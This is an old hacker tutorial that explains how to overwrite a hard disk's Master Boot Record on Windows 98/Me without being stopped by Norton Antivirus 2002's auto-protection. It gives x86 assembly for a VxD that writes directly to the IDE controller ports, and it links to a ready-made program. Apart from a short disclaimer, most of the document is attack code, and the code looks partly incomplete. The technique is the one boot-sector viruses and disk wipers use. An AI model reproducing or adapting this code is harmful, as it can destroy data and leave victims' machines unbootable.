______________________________________________________________________________________________
Writing MBR
When Norton Antivirus2002
has
Auto-protection
Enable.
By Harshal.A.Chaudhari
_______________________________________________________________________________________________
This is Only for Educational Purpose.Plz don't use this for Troubling ppl.I am not Responsible for Misusing this Information.
_______________________________________________________________________________________________
Actually I had tried this on Windows 98 First Edition,Second
Edition,& Me.I ran this Program on 2 computers.It seems to
work very fine with windows 98 First Edition. What i mean to say
is that when i run the Program under Windows 98 Second Edition
& Me on One computer i observe that i had to run the Program
Several times then only it writes the (M)aster (B)oot
(R)ecord.While on other its
just running Fine.I also know that it might be the problem coz
the (computers having)Hard Disk on which i tested the code had
different Disk Rotation Speed & Also i didn't check if the
Disk Controllers is not Busy.But it Writes MBR. Ok ( 0x1F0 -
0x1F7 ) this is the I/O Port Range When Hard Disk is Primary
Master.
The Details are as Follows:-
0x1F0 data register 0x1F1 error register 0x1F2 sector count 0x1F3 sector number 0x1F4 cylinder low 0x1F5 cylinder high 0x1F6 drive/head 0x1F7 command register
The Procedure is simple:-
Just Code a Vxd for doing our job.
mov dx, 1F2h ;; dx=0x1F2 mov al,1 ;; we want to write only 1 sector out dx,al ;; out 1 to 0x1F2 port inc dx ;; dx=0x1F3 out dx,al ;; out 1 (i.e 1st sector) to 0x1F3 inc dx ;; dx=0x1F4 xor ax,ax ;; al=0 out dx,al ;; out 0 (i.e 0 cylinder low) to 0x1F4 inc dx ;; dx=0x1F5 out dx,al ;; out 0 (i.e 0 cylinder high) to 0x1F5 mov al,10100000b ;;(drive & head) inc dx ;; dx=0x1F6 out dx,al ;; out 0xA0 for Primary master inc dx ;; dx=0x1F7 mov al,30h ;; 30h indicates write sector ;; 20h indicates read sector out dx,al ;; so we wanna write...hmmm!! Bad guys
; Writing Sector 98 (FIRST EDITION) ...OK lea ebx, buffer ;; address of buffer in ebx mov dx, 1F0h ;; dx=0x1F0 mov cx, 256 ;; counter 512 bytes mov ax,word ptr [ebx] out dx,ax ;; data register 0x1F0
;Writing Sector 98 SE lea ebx, buffer mov dx, 1F0h mov cx, 256 mov ebx,[ebx] mov ax,word ptr [ebx] out dx,ax
PLZ NOTE :- I had
not checked the Disk Controller if its busy so if u want u can
write that code ...ok
And Let me know Whats happens when u run that on ur Computer.
Ok http://www.geocities.com/hrvgdaily/Mbr.zip is the Program i had made to write [M]aster [B]oot [R]ecord. But Don't forget to have Copy of [M]aster [B]oot [R]ecord make Rescue disks from Norton Antivirus.And i know that it ugly it rough work friends.
Bye 4 now.Hope it was useful & u like it.
___________________________________________________________________________________________
CREDITS
1). I Thank Astalavista.com for
giving me an opportunity to write this Tutorial.
2). It goes to Rajesh.chaudhari ,
my Mom & Dad , Sagar.S , Nilesh.C ,Anirudha.B , Mayur.S
& all friends whom i
forgot to mention here ,coz What i am today is because of them.
___________________________________________________________________________________________
U can Contact & Share ur view with me at
gj007_in@yahoo.com if i could be of any help
____________________________________________________________________________________________